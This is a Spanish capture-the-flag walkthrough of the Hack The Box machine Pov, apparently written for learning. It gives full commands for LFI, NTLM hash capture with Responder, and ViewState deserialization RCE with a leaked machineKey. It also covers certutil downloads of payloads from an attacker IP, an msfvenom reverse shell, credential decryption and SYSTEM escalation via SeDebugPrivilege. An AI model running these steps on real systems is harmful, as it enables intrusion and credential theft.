Descripción
Pov es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios
- Inclusión de archivos locales en aplicación ASP.NET
- Ejecución remota de comandos utilizando el parámetro VIEWSTATE en ASP.NET
- Exposición de datos sensibles (creenciales de otro usuario) en formato PowerShell
- Escalada de privilegios mediante el privilegio SeDebugPrivilege
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.231.64.
$ ping -c 3 10.129.231.64
PING 10.129.231.64 (10.129.231.64) 56(84) bytes of data.
64 bytes from 10.129.231.64: icmp_seq=1 ttl=127 time=95.5 ms
64 bytes from 10.129.231.64: icmp_seq=2 ttl=127 time=53.0 ms
64 bytes from 10.129.231.64: icmp_seq=3 ttl=127 time=75.1 ms
--- 10.129.231.64 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 52.970/74.506/95.477/17.358 ms
La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.231.64 -sS -p- -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.231.64
Host is up (0.087s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 318.33 seconds
Tenemos un puerto abierto, el 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.231.64 -sV -sC -p80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.231.64
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds
Conseguimos un servicio: Hypertext Transfer Protocol (HTTP). Añadimos el dominio, pov.htb a nuestro archivo /etc/hosts.
$ echo "10.129.231.64 pov.htb" | sudo tee -a /etc/hosts
Si echamos un vistazo al sitio web en el navegador web, encontramos una página de muestra sin ninguna funcionalidad.
Así que nos moveremos para enumerar el subdominio presente en el servidor web.
$ gobuster vhost -u pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pov.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.pov.htb Status: 302 [Size: 152] [--> http://dev.pov.htb/portfolio/]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Encontramos un subdominio, dev, así que actualizamos el archivo hosts.
$ echo "10.129.231.64 dev.pov.htb" | sudo tee -a /etc/hosts
En este subdominio encontramos una página web de un perfil. Con la herramienta WhatWeb podemos encontrar que el servidor que funciona es Microsoft-IIS/10.0. Este servidor está ejecutando un ASP.NET ASP_NET[4.0.30319].
$ whatweb --log-brief web_techs dev.pov.htb
http://dev.pov.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.231.64], Microsoft-IIS[10.0], RedirectLocation[http://dev.pov.htb/portfolio/], Title[Document Moved], X-Powered-By[ASP.NET]
http://dev.pov.htb/portfolio/ [200 OK] ASP_NET[4.0.30319], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.231.64], JQuery[3.4.1], Meta-Author[Devcrud], Microsoft-IIS[10.0], Script, Title[dev.pov.htb], X-Powered-By[ASP.NET]
En la página web tenemos la capacidad de descargar un CV en formato PDF y la capacidad de contactar al propietario enviando un mensaje a través de un formulario de contacto.
Podemos interceptar la respuesta con Burp Suite al descargar el CV y enviarlo al Repeater. Encontramos 6 parámetros del cuerpo de solicitud.
El parámetro file podría ser vulnerable a un Path Traversal o a un LFI. Vamos a pasar al Intruder y vamos a forzar el parámetro con el diccionario iisfinal.txt. Conseguimos una respuesta exitosa, con el archivo Default.aspx.
Explotación
Obtenemos el código fuente del archivo Default.aspx y Contact.aspx. Este archivo contiene el código fuente de la página.
Se refiere a un archivo de código fuente index.aspx.cs.
Si recuperamos este archivo podemos confirmar que la aplicación es vulnerable a un LFI pero no a un Path Traversal ya que está eliminando la cadena ../ pero es vulnerable usando ..\.
Podemos comprobar esto recuperando un archivo del sistema de Windows, C:\Windows\win.ini. Lo logramos con éxito.
Como tenemos control completo para acceder a los archivos con el parámetro file vamos a tratar de interceptar el hash NTLM del usuario conectado en el servidor mediante el uso de Responder e ingresar nuestra dirección IP en el parámetro file como \\10.10.14.30\test.
$ sudo responder -I tun0
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.231.64
[SMB] NTLMv2-SSP Username : POV\sfitz
[SMB] NTLMv2-SSP Hash : sfitz::POV:d2994f05aeae3dc3:11D3D3E83C484463BAEFDCA1758182EC:010100000000000000FB39D46451DA01DF6A8F17FD7358FB0000000002000800590058004F00300001001E00570049004E002D005200410039004600300042004A00550033004300460004003400570049004E002D005200410039004600300042004A0055003300430046002E00590058004F0030002E004C004F00430041004C0003001400590058004F0030002E004C004F00430041004C0005001400590058004F0030002E004C004F00430041004C000700080000FB39D46451DA010600040002000000080030003000000000000000000000000020000092085DE9AAB3BEF09E5099DC4C37DBBAB73F3C94C9900E4F17E745C7B62315570A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330030000000000000000000
Conseguimos un hash el usuario de sfitz en la máquina POV. Si tratamos de romperlo no conseguiremos ningún resultado. Con más enumeración podemos encontrar el archivo de configuración web.config en el directorio ..\.
Obtuvimos el machineKey que cifra los parámetros de las solicitudes, como __VIEWSTATE.
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
Con esta clave podemos lograr ejecución remota de comandos utilizando ysoserial.net. Como esta es una herramienta de Windows necesitaremos utilizar una máquina de Windows o bien utilizar Wine. La herramienta creará una cadena codificada con Base64 que se pegará en el parámetro anterior __VIEWSTATE. Deduciendo, vamos a establecer el parámetro --apppath a / y el parámetro --path a /portfolio/default.aspx.
$ wine ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping 10.10.14.30" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" > string
Después de enviar la solicitud recibiremos el comando ping de vuelta, por lo que cambiaremos la carga útil para crear una terminal inversa.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.231.64] 49673
whoami
pov\sfitz
Recibimos la terminal inversa.
Post-Explotación
Como vemos estamos conectados como el usuario de sfitz, del cual hemos obtenido el hash antes. Encontramos otro usuario en el sistema, alaading.
PS C:\windows\system32\inetsrv> net users
User accounts for \\POV
-------------------------------------------------------------------------------
Administrator alaading DefaultAccount
Guest sfitz WDAGUtilityAccount
The command completed successfully.
Enumerando los archivos de la carpeta personal de sfitz encontramos las credenciales codificadas para el usuario alaading, en la ruta C:\Users\sfitz\Documents\connection.xml.
PS C:\windows\system32\inetsrv> cd C:\Users\sfitz\Documents
PS C:\Users\sfitz\Documents> dir
Directory: C:\Users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
PS C:\Users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
Podemos decodificarla.
PS C:\Users\sfitz\Documents> $cred = Import-CliXml -Path connection.xml; $cred.GetNetworkCredential() | Format-List *
UserName : alaading
Password : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain :
Encontramos la contraseña f8gQ8fynP44ek1m3 para el usuario alaading.
PS C:\Users\sfitz\documents> Invoke-Command -Computer pov -ScriptBlock { whoami } -Credential $cred
pov\alaading
Podemos ejecutar comandos como el usuario alaading usando la herramienta RunasCs. Enumerando los privilegios, encontramos uno interesante, SeDebugPrivilege.
PS C:\windows\system32\inetsrv> cd C:\Users\sfitz\documents
PS C:\Users\sfitz\documents> mkdir c:\Temp
PS C:\Users\sfitz\documents> cd C:\Temp
PS C:\Temp> certutil.exe -urlcache -f http://10.10.14.30/RunasCs.exe RunasCs.exe
PS C:\a> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "powershell whoami /priv"
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Con este privilegio podemos generar procesos con un ID de proceso padre personalizado. Para esta tarea vamos a utilizar el comando migrate de la terminal inversa meterpreter de Metasploit. Primero creamos la carga útil de Meterpreter usando msfvenom.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.30 LPORT=1236 -f exe > exec.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Luego abrimos el puerto de escucha usando el comando msfconsole.
$ msfconsole
msf6 > use multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 10.10.14.30
msf6 > set lport 1236
msf6 > run
Después de eso descargamos la terminal Meterpreter en el sistema remoto y la ejecutamos.
PS C:\temp> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "powershell certutil.exe -urlcache -f http://10.10.14.30/exec.exe C:\Temp\exec.exe"
PS C:\temp> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 "powershell C:\Temp\exec.exe"
Después de obtener la terminal de Meterpreter obtendremos el ID del proceso winlogon.exe y luego nos migraremos a él. Después de eso, tendremos privilegios de NT AUTHORTY\SYSTEM.
[*] Meterpreter session 42 opened (10.10.14.30:1236 -> 10.129.231.64:49740)
meterpreter > getuid
Server username: POV\alaading
meterpreter > migrate 540
[*] Migrating from 1736 to 540...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
meterpreter > shell
Process 2228 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\alaading\Desktop\user.txt
type C:\Users\alaading\Desktop\user.txt
<REDACTED>
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<REDACTED>